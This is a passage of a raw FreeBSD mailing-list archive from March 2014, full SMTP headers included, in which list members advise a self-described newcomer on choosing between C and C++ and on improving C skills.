ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 55E37799 for ; Mon, 17 Mar 2014 16:17:20 +0000 (UTC) Received: from nm33-vm5.bullet.mail.bf1.yahoo.com (nm33-vm5.bullet.mail.bf1.yahoo.com [72.30.239.205]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 056548A6 for ; Mon, 17 Mar 2014 16:17:19 +0000 (UTC) Received: from [98.139.212.151] by nm33.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 16:15:13 -0000 Received: from [98.139.213.9] by tm8.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 16:15:13 -0000 Received: from [127.0.0.1] by smtp109.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 16:15:13 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395072913; bh=Q0bWnkOKpUy6xhJEkS0NaXvvp4uaeUSxOuoYfqZZ5UA=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=sYONTIOVMTUEnqNTDxeuGsOfhUvLit7z6E6pUdcSu7Jrc0j0ELBYXtBUmRrdtWKC0w0rM7i7Wiq+OJyed/qOwzUjZWyyzc7nPKB9vMp85WWpSsvi2K7aGo0n3uTTurLuitx8UZmgdEseTqwxhgys+boZK/+8e4Rv6nfRbpEk+EI= X-Yahoo-Newman-Id: 557953.1854.bm@smtp109.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: TB2kGWcVM1lssu00kOJY.vLuSNwZRJFyHXYXMpmM1XrpFi2 b2MO8TkuGgL4n2UD.1W_ONKbqCu.W4eScB.Dakoa8WeUYOxzE2iPItPhVnta XSAkNN9mfZJGAIE_Qzmwq0zeg0ebQ_LIG4zeTiOOx98qzioww2XduhMCdzVF I76hiqi9CqVloiDIlMB07A2xO1dpjpj0Q2BpQGnLSMEVh5h3Nsx2bmW.lzwc CfAa9WuikBUJqRQXBS18kIQY0CamBErYOUFlIhKYRs4BHvvp99PpI6lHbUyI Wt7Vnc8ccLSYSD9zMCMkhIQ9xu5iUyYDhXAfbOwFVQzOYcLBcHbZYuwA1bd5 0sVyPBdDelA6a1sZymEry2OkMPJkdT9FCIPlb.pt9HqTl8_GKsuh3kYy40OE 8ESjHobc2R3YICvuxVE1fEHzL_ZaL1ewpFYe89PWpVSs3As.MlVQxH8I7VsM d7YpC2BJnnlFT0YF4bbHMQqQh1sC10eZZHd_aNKkCnoHJRWCVGMIwmFijZ75 QTzIkI6YDJv1IMEUxIUoRF_iEMbdGAYfBS1aZJR1Rf6P6zw2vulOe3AlvJVX bAA_L3aY5vvsUKK9t X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.147.101.71] (free7by@117.136.24.130 with xymcookie [106.10.149.123]) by smtp109.mail.bf1.yahoo.com with SMTP; 17 Mar 2014 09:15:13 -0700 PDT References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> Mime-Version: 1.0 (1.0) In-Reply-To: Message-Id: <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> X-Mailer: iPhone Mail (11D169) From: by Subject: Re: Something related to C and C++ Date: Tue, 18 Mar 2014 00:15:01 +0800 To: Johan Bucht Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 16:17:20 -0000 I totally agree with you! Actually, now I prefer the domain which is not too low but not too high neit= her, in a word, I think being a system programmer should be cool. - by > On Mar 17, 2014, at 21:22, Johan Bucht wrote: >=20 > As there are different strengths and weaknesses resulting from the design d= ecisions chosen for the different languages, learn as many different types a= s you can and experience how they shape solutions to problems in different w= ays and how you reason about them. >=20 > "I have never met anybody who has changed their reasoning first and their h= abits second. You change your habits first." >=20 > The end goal is to solve problems in your domain, having a languages that m= aps perfectly to that domain (or makes it easy to create domain specific lan= guages in) will certainly make it easier to read and write that code. But is= it worth creating and maintaining that language for a small domain and trai= n people in it? General purpose languages exists because of this. They might= not map perfectly to the domain, but they have familiarity and cross breedi= ng between users in different domains. > Some languages are really small with little functionality included in the s= tandard library, others are huge and contain a lot of seldom used functional= ity. For the small languages you might need to write common functionality yo= urself or find something someone else has written. For large languages you g= et that for free and most users will use what's provided. You get a standard= way of solving problems, but the tools might not be best of breed or suit y= our specific use case. >=20 > /Johan >=20 >=20 >> On Mon, Mar 17, 2014 at 11:38 AM, by wrote: >> Yes, you are right, i have some prejudice for C++ before, but now, i thin= k i won't, cause if i have not deeply working for some languages, technologi= es, i have no right to judge it, i need more and more practice : ) >> Different fields got different technologies, the only key i think is that= which field you prefer, and what kind of technology you prefer. >>=20 >> - by >>=20 >>=20 >>> On 2014/3/17 17:14, Johan Bucht wrote: >>> Working in higher level languages like Java, Ruby, Python and C++ does h= ave >>> some advantages to C and some disadvantages. There are always trade offs= >>> and there will always be languages closer to the domain that will be mor= e >>> elegant to solve specific problems. >>> If you're mainly doing programming close to the hardware the abstraction= s >>> from those higher level languages doesn't add much value and the runtime= >>> with garbage collection and more is something you probably need to be ab= le >>> to turn off. >>> It's of course possible to implement a lot of the features in higher lev= el >>> languages in lower level ones, but the syntax will not be that suitable f= or >>> it and you need to impose restrictions on yourself instead of the langua= ge >>> doing it for you. >>> For some tasks C is too high level and Assembler is needed but for most o= f >>> the tasks any language will do and it's a matter of personal taste. >>>=20 >>> /Johan >>>=20 >>> On Mon, Mar 17, 2014 at 3:50 AM, by wrote: >>>=20 >>>> Well, I think C++'s popular has something related to C's popular use, b= ut >>>> it contains too much, I prefer simple tool, do one thing, and do it wel= l, >>>> no more extras, and build a system with their combinations, at least th= e >>>> base system. >>>>=20 >>>> - by >>>>=20 >>>>> On Mar 17, 2014, at 10:38, Erich Dollansky wrote: >>>>>=20 >>>>> Hi, >>>>>=20 >>>>> On Mon, 17 Mar 2014 10:20:55 +0800 >>>>> by wrote: >>>>>=20 >>>>> as C++ is C plus 'some' extras, just start with C. When you know C - >>>>> which you have to know anyway to write C++ programs - you can add C++ >>>>> to your knowledge. >>>>>=20 >>>>> Never forget that object orientated programming is much older than C++= >>>>> and can be done in most languages. I did my first steps in object >>>>> orientated programming in 8080 assembler without even knowing that >>>>> what I did will be later be known as object orientated programming. >>>>>=20 >>>>> The little programming I still do is all done in C but using some of >>>>> the 'addons' of C++. So, all my sources are .cpp files. >>>>>=20 >>>>> Erich >>>>>> Hi, >>>>>> At first, I would say, I do not want to lead to a holy war between >>>>>> programming languages, and I am a newbie in this field, but I am >>>>>> confused about this, so I want get some answers or discusses from >>>>>> here to help me thinking about this. I found that in IT industry, C++= >>>>>> has more and more users, I can understand why they do this, C++ can >>>>>> make them build system more easy than C does. okay, I just know a >>>>>> little about C++, but in my feeling, C++ can make you do things in a >>>>>> higher place. Yes, C++ is great, but for me, it is too difficult, or >>>>>> I would say, it is too complicated. I got two books in my hand, one >>>>>> is <>, another is <>>>>> Language>>. Just consider from the weight : ) You can find something.= >>>>>> Language>>In the past, GCC use C, but now it turn to C++, and LLVM is= >>>>>> Language>>written by C++. Yes I prefer C now, and you may say, you >>>>>> Language>>have not use these two languages deeply, how could you >>>>>> Language>>judge them? Yes, I know I should not judge them, but as a >>>>>> Language>>newbie, this is my very feeling, just like a kid first >>>>>> Language>>looking at this world! Simple, but confused. At last, I am >>>>>> Language>>not lead to a holy war between programming languages, I >>>>>> Language>>just confused and want some related answers. This is it. : )= >>>>>>=20 >>>>>> - by >>>>>> _______________________________________________ >>>>>> freebsd-hackers@freebsd.org mailing list >>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>> To unsubscribe, send any mail to >>>>>> "freebsd-hackers-unsubscribe@freebsd.org" >>>> _______________________________________________ >>>> freebsd-hackers@freebsd.org mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.or= g" >=20 From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 16:23:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 61F9C96F for ; Mon, 17 Mar 2014 16:23:06 +0000 (UTC) Received: from nm29-vm1.bullet.mail.bf1.yahoo.com (nm29-vm1.bullet.mail.bf1.yahoo.com [98.139.213.144]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0193B971 for ; Mon, 17 Mar 2014 16:23:05 +0000 (UTC) Received: from [98.139.215.143] by nm29.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 16:22:58 -0000 Received: from [68.142.230.65] by tm14.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 16:22:58 -0000 Received: from [127.0.0.1] by smtp222.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 16:22:58 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395073378; bh=fPdJCkenlB+cf5+RqNbB8n8BSzHn/kQE6Pq/F6eJXn4=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=lAYCZApLVSgUq7yNFLPhbSEd5J0zrl0ccdi63ddivlLtV/3O4FxtghxZ620Eqr/0dAQYxwD6QQD5DQHYzd2+C9zjk3G9YFwNeZcjy0tT2eghRw5coNjbqPvapAwb3Z1fhPYpl3EO4tZgqoIxCI+1c9inSmnG9wK8lZvrTNXEVxk= X-Yahoo-Newman-Id: 473740.20435.bm@smtp222.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: Xq5yszcVM1kkbeazd.a0rrAmma8GL0FBCAG7D.oKP3tYo_U S5xAF8gGJTxfKFfal.4_J6YJhq8.dzF3E3RRCL4r8EG8194cJ7xM0PADujbq C5F.ifI.HKAp_kuxAz64rrYVrhpW_1vsm_wuY7Ou9LKXYBuZAUPEKqtIogHO 3Uz4gz.mx7jC71XY3vqjyttWdCDid8WK2ofK3zITzeJZjoS22gqS2y5On5.Q MTwU_LneWjg1EP_iuhbx7GYff0ENt.efwUNwJyXRwjwrxwchpDY5NyGqhSj7 G6BkdK5O.0Nh_mdHPbHrJuoMpja1_BIziaMSVoHEGKllPB1XpClun9bPtIdr Zn9xK22PB1X9iTEwJ0TViLZLQ1Tx_JiNoQ55dJDt6w9F0WOeHU8MvTFMo4Tm CYMDmZNUvLgFiJaWqpQsnJI7llF8nGkKpKfyusCPTOZwXHB6KSDpjJl5Rj0U 92zllMjnXKAxBRxvcsD7mYlvsaSzHSc3Ux7Y7h.0A5PBKOPVnE1iDVTwzPLX j0VlUjq0sSld1juMUdPKg X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.147.101.71] (free7by@117.136.24.130 with xymcookie [106.10.149.123]) by smtp222.mail.bf1.yahoo.com with SMTP; 17 Mar 2014 16:22:58 +0000 UTC References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> Mime-Version: 1.0 (1.0) In-Reply-To: <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPhone Mail (11D169) From: by Subject: Re: Something related to C and C++ Date: Tue, 18 Mar 2014 00:22:48 +0800 To: Johan Bucht Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 16:23:06 -0000 By the way, who knows how to improve C skills? Cause I am a newbie, and I am= reading the book <> But I plan read it a little everyday, so any other methods? - by > On Mar 18, 2014, at 0:15, by wrote: >=20 > I totally agree with you! > Actually, now I prefer the domain which is not too low but not too high ne= ither, in a word, I think being a system programmer should be cool. >=20 > - by >=20 >> On Mar 17, 2014, at 21:22, Johan Bucht wrote: >>=20 >> As there are different strengths and weaknesses resulting from the design= decisions chosen for the different languages, learn as many different types= as you can and experience how they shape solutions to problems in different= ways and how you reason about them. >>=20 >> "I have never met anybody who has changed their reasoning first and their= habits second. You change your habits first." >>=20 >> The end goal is to solve problems in your domain, having a languages that= maps perfectly to that domain (or makes it easy to create domain specific l= anguages in) will certainly make it easier to read and write that code. But i= s it worth creating and maintaining that language for a small domain and tra= in people in it? General purpose languages exists because of this. They migh= t not map perfectly to the domain, but they have familiarity and cross breed= ing between users in different domains. >> Some languages are really small with little functionality included in the= standard library, others are huge and contain a lot of seldom used function= ality. For the small languages you might need to write common functionality y= ourself or find something someone else has written. For large languages you g= et that for free and most users will use what's provided. You get a standard= way of solving problems, but the tools might not be best of breed or suit y= our specific use case. >>=20 >> /Johan >>=20 >>=20 >>> On Mon, Mar 17, 2014 at 11:38 AM, by wrote: >>> Yes, you are right, i have some prejudice for C++ before, but now, i thi= nk i won't, cause if i have not deeply working for some languages, technolog= ies, i have no right to judge it, i need more and more practice : ) >>> Different fields got different technologies, the only key i think is tha= t which field you prefer, and what kind of technology you prefer. >>>=20 >>> - by >>>=20 >>>=20 >>>> On 2014/3/17 17:14, Johan Bucht wrote: >>>> Working in higher level languages like Java, Ruby, Python and C++ does h= ave >>>> some advantages to C and some disadvantages. There are always trade off= s >>>> and there will always be languages closer to the domain that will be mo= re >>>> elegant to solve specific problems. >>>> If you're mainly doing programming close to the hardware the abstractio= ns >>>> from those higher level languages doesn't add much value and the runtim= e >>>> with garbage collection and more is something you probably need to be a= ble >>>> to turn off. >>>> It's of course possible to implement a lot of the features in higher le= vel >>>> languages in lower level ones, but the syntax will not be that suitable= for >>>> it and you need to impose restrictions on yourself instead of the langu= age >>>> doing it for you. >>>> For some tasks C is too high level and Assembler is needed but for most= of >>>> the tasks any language will do and it's a matter of personal taste. >>>>=20 >>>> /Johan >>>>=20 >>>>> On Mon, Mar 17, 2014 at 3:50 AM, by wrote: >>>>>=20 >>>>> Well, I think C++'s popular has something related to C's popular use, b= ut >>>>> it contains too much, I prefer simple tool, do one thing, and do it we= ll, >>>>> no more extras, and build a system with their combinations, at least t= he >>>>> base system. >>>>>=20 >>>>> - by >>>>>=20 >>>>>> On Mar 17, 2014, at 10:38, Erich Dollansky wrote: >>>>>>=20 >>>>>> Hi, >>>>>>=20 >>>>>> On Mon, 17 Mar 2014 10:20:55 +0800 >>>>>> by wrote: >>>>>>=20 >>>>>> as C++ is C plus 'some' extras, just start with C. When you know C - >>>>>> which you have to know anyway to write C++ programs - you can add C++= >>>>>> to your knowledge. >>>>>>=20 >>>>>> Never forget that object orientated programming is much older than C+= + >>>>>> and can be done in most languages. I did my first steps in object >>>>>> orientated programming in 8080 assembler without even knowing that >>>>>> what I did will be later be known as object orientated programming. >>>>>>=20 >>>>>> The little programming I still do is all done in C but using some of >>>>>> the 'addons' of C++. So, all my sources are .cpp files. >>>>>>=20 >>>>>> Erich >>>>>>> Hi, >>>>>>> At first, I would say, I do not want to lead to a holy war between >>>>>>> programming languages, and I am a newbie in this field, but I am >>>>>>> confused about this, so I want get some answers or discusses from >>>>>>> here to help me thinking about this. I found that in IT industry, C+= + >>>>>>> has more and more users, I can understand why they do this, C++ can >>>>>>> make them build system more easy than C does. okay, I just know a >>>>>>> little about C++, but in my feeling, C++ can make you do things in a= >>>>>>> higher place. Yes, C++ is great, but for me, it is too difficult, or= >>>>>>> I would say, it is too complicated. I got two books in my hand, one >>>>>>> is <>, another is <>>>>>> Language>>. Just consider from the weight : ) You can find something= . >>>>>>> Language>>In the past, GCC use C, but now it turn to C++, and LLVM i= s >>>>>>> Language>>written by C++. Yes I prefer C now, and you may say, you >>>>>>> Language>>have not use these two languages deeply, how could you >>>>>>> Language>>judge them? Yes, I know I should not judge them, but as a >>>>>>> Language>>newbie, this is my very feeling, just like a kid first >>>>>>> Language>>looking at this world! Simple, but confused. At last, I am= >>>>>>> Language>>not lead to a holy war between programming languages, I >>>>>>> Language>>just confused and want some related answers. This is it. := ) >>>>>>>=20 >>>>>>> - by >>>>>>> _______________________________________________ >>>>>>> freebsd-hackers@freebsd.org mailing list >>>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>>> To unsubscribe, send any mail to >>>>>>> "freebsd-hackers-unsubscribe@freebsd.org" >>>>> _______________________________________________ >>>>> freebsd-hackers@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.= org" >>>> _______________________________________________ >>>> freebsd-hackers@freebsd.org mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 16:27:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F4163B81 for ; Mon, 17 Mar 2014 16:27:28 +0000 (UTC) Received: from mail-wi0-x22f.google.com (mail-wi0-x22f.google.com [IPv6:2a00:1450:400c:c05::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6F7C89AA for ; Mon, 17 Mar 2014 16:27:28 +0000 (UTC) Received: by mail-wi0-f175.google.com with SMTP id cc10so2437911wib.14 for ; Mon, 17 Mar 2014 09:27:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=BiFDQEVb6y+dqBN0xM+mS2tVpgACohDceiKtPod5uk0=; b=uGMbcLijv+Sgo5kVVi2I4dMtpB3x63pX5jZsLStyrseMZ+6bNN+9GfsRh0ik9zx9Ad IWtCwOrhQdk/ulJitrqaZYqeh+1cR+2GCHcVGUUcqalf6ntciqRvAh93SpkWGFVHLehE aFVnJ5DyCf14Q7iawUWrd22mZVeQUXCGkhH2WYXBUw44GbdEO+EjLOf+i8kslHtG8xWa 6j2yQ0Z2QTda9BdLu0oGCCHYJKy6crADM7+P9Sd6pefqtsjtwt5f+AD8KoOQYt3ww3gL REKWCgbZmCTgzRF3e7l5+Wqe0RValgCLaZETM/lxSwwefJEoBinqeqO7VD5deYkozmG4 Vuuw== MIME-Version: 1.0 X-Received: by 10.194.118.163 with SMTP id kn3mr2327566wjb.77.1395073646749; Mon, 17 Mar 2014 09:27:26 -0700 (PDT) Received: by 10.194.119.198 with HTTP; Mon, 17 Mar 2014 09:27:26 -0700 (PDT) In-Reply-To: References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> Date: Mon, 17 Mar 2014 13:27:26 -0300 Message-ID: Subject: Re: Something related to C and C++ From: carlos antonio neira bustos To: by Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , Johan Bucht X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 16:27:29 -0000 Just start programming some tool you need, then you will eventually face issues and get more experienced. On Mon, Mar 17, 2014 at 1:22 PM, by wrote: > By the way, who knows how to improve C skills? Cause I am a newbie, and I > am reading the book <> > But I plan read it a little everyday, so any other methods? > > - by > > > On Mar 18, 2014, at 0:15, by wrote: > > > > I totally agree with you! > > Actually, now I prefer the domain which is not too low but not too high > neither, in a word, I think being a system programmer should be cool. > > > > - by > > > >> On Mar 17, 2014, at 21:22, Johan Bucht wrote: > >> > >> As there are different strengths and weaknesses resulting from the > design decisions chosen for the different languages, learn as many > different types as you can and experience how they shape solutions to > problems in different ways and how you reason about them. > >> > >> "I have never met anybody who has changed their reasoning first and > their habits second. You change your habits first." > >> > >> The end goal is to solve problems in your domain, having a languages > that maps perfectly to that domain (or makes it easy to create domain > specific languages in) will certainly make it easier to read and write that > code. But is it worth creating and maintaining that language for a small > domain and train people in it? General purpose languages exists because of > this. They might not map perfectly to the domain, but they have familiarity > and cross breeding between users in different domains. > >> Some languages are really small with little functionality included in > the standard library, others are huge and contain a lot of seldom used > functionality. For the small languages you might need to write common > functionality yourself or find something someone else has written. For > large languages you get that for free and most users will use what's > provided. You get a standard way of solving problems, but the tools might > not be best of breed or suit your specific use case. > >> > >> /Johan > >> > >> > >>> On Mon, Mar 17, 2014 at 11:38 AM, by wrote: > >>> Yes, you are right, i have some prejudice for C++ before, but now, i > think i won't, cause if i have not deeply working for some languages, > technologies, i have no right to judge it, i need more and more practice : ) > >>> Different fields got different technologies, the only key i think is > that which field you prefer, and what kind of technology you prefer. > >>> > >>> - by > >>> > >>> > >>>> On 2014/3/17 17:14, Johan Bucht wrote: > >>>> Working in higher level languages like Java, Ruby, Python and C++ > does have > >>>> some advantages to C and some disadvantages. There are always trade > offs > >>>> and there will always be languages closer to the domain that will be > more > >>>> elegant to solve specific problems. > >>>> If you're mainly doing programming close to the hardware the > abstractions > >>>> from those higher level languages doesn't add much value and the > runtime > >>>> with garbage collection and more is something you probably need to be > able > >>>> to turn off. > >>>> It's of course possible to implement a lot of the features in higher > level > >>>> languages in lower level ones, but the syntax will not be that > suitable for > >>>> it and you need to impose restrictions on yourself instead of the > language > >>>> doing it for you. > >>>> For some tasks C is too high level and Assembler is needed but for > most of > >>>> the tasks any language will do and it's a matter of personal taste. > >>>> > >>>> /Johan > >>>> > >>>>> On Mon, Mar 17, 2014 at 3:50 AM, by wrote: > >>>>> > >>>>> Well, I think C++'s popular has something related to C's popular > use, but > >>>>> it contains too much, I prefer simple tool, do one thing, and do it > well, > >>>>> no more extras, and build a system with their combinations, at least > the > >>>>> base system. > >>>>> > >>>>> - by > >>>>> > >>>>>> On Mar 17, 2014, at 10:38, Erich Dollansky wrote: > >>>>>> > >>>>>> Hi, > >>>>>> > >>>>>> On Mon, 17 Mar 2014 10:20:55 +0800 > >>>>>> by wrote: > >>>>>> > >>>>>> as C++ is C plus 'some' extras, just start with C. When you know C - > >>>>>> which you have to know anyway to write C++ programs - you can add > C++ > >>>>>> to your knowledge. > >>>>>> > >>>>>> Never forget that object orientated programming is much older than > C++ > >>>>>> and can be done in most languages. I did my first steps in object > >>>>>> orientated programming in 8080 assembler without even knowing that > >>>>>> what I did will be later be known as object orientated programming. > >>>>>> > >>>>>> The little programming I still do is all done in C but using some of > >>>>>> the 'addons' of C++. So, all my sources are .cpp files. > >>>>>> > >>>>>> Erich > >>>>>>> Hi, > >>>>>>> At first, I would say, I do not want to lead to a holy war between > >>>>>>> programming languages, and I am a newbie in this field, but I am > >>>>>>> confused about this, so I want get some answers or discusses from > >>>>>>> here to help me thinking about this. I found that in IT industry, > C++ > >>>>>>> has more and more users, I can understand why they do this, C++ can > >>>>>>> make them build system more easy than C does. okay, I just know a > >>>>>>> little about C++, but in my feeling, C++ can make you do things in > a > >>>>>>> higher place. Yes, C++ is great, but for me, it is too difficult, > or > >>>>>>> I would say, it is too complicated. I got two books in my hand, one > >>>>>>> is <>, another is < >>>>>>> Language>>. Just consider from the weight : ) You can find > something. > >>>>>>> Language>>In the past, GCC use C, but now it turn to C++, and LLVM > is > >>>>>>> Language>>written by C++. Yes I prefer C now, and you may say, you > >>>>>>> Language>>have not use these two languages deeply, how could you > >>>>>>> Language>>judge them? Yes, I know I should not judge them, but as a > >>>>>>> Language>>newbie, this is my very feeling, just like a kid first > >>>>>>> Language>>looking at this world! Simple, but confused. At last, I > am > >>>>>>> Language>>not lead to a holy war between programming languages, I > >>>>>>> Language>>just confused and want some related answers. This is it. > : ) > >>>>>>> > >>>>>>> - by > >>>>>>> _______________________________________________ > >>>>>>> freebsd-hackers@freebsd.org mailing list > >>>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >>>>>>> To unsubscribe, send any mail to > >>>>>>> "freebsd-hackers-unsubscribe@freebsd.org" > >>>>> _______________________________________________ > >>>>> freebsd-hackers@freebsd.org mailing list > >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >>>>> To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > >>>> _______________________________________________ > >>>> freebsd-hackers@freebsd.org mailing list > >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >>>> To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 16:36:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EFA71E5E for ; Mon, 17 Mar 2014 16:36:50 +0000 (UTC) Received: from mail-pd0-x229.google.com (mail-pd0-x229.google.com [IPv6:2607:f8b0:400e:c02::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C0CA4A92 for ; Mon, 17 Mar 2014 16:36:50 +0000 (UTC) Received: by mail-pd0-f169.google.com with SMTP id fp1so5813413pdb.0 for ; Mon, 17 Mar 2014 09:36:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Ub5shhb5fWXAPxke+b6uG8pyCqD0XAi6JdrTMb6CMCw=; b=LedPaXRaNDucvigyLt9gCCYf94Cc/aUuhb1BXZsIs4TUSNJyy2gPUUsOW83D6MNctY Dyz7tNocdoazc70esThlaJe7f+FG64VkwVKb2HGAGyBnXAMNUckYntJzjLYecd7v4U12 vKLxWOph0w4y5kqxQ0vtcOI1qk8ew8T9UTor93kMztC6rwQy/hKHGiKgvP8l10hqRurd UgJX9PhA9Gn7cJqqKG9KdhQSJOxWSOv/lcu1rkOihCWRqy9i07DSV/m48hsEz5cI3WBo E+DZTsPcTCFiGaAlY6KSWnel6Ai5XStEK6pPo0MuYdCHOZePyG89CZ81ek0PsWuniKXc hIog== MIME-Version: 1.0 X-Received: by 10.68.130.137 with SMTP id oe9mr26767622pbb.21.1395074210445; Mon, 17 Mar 2014 09:36:50 -0700 (PDT) Received: by 10.68.56.71 with HTTP; Mon, 17 Mar 2014 09:36:50 -0700 (PDT) In-Reply-To: References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> Date: Mon, 17 Mar 2014 17:36:50 +0100 Message-ID: Subject: Re: Something related to C and C++ From: Johan Bucht To: by Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: 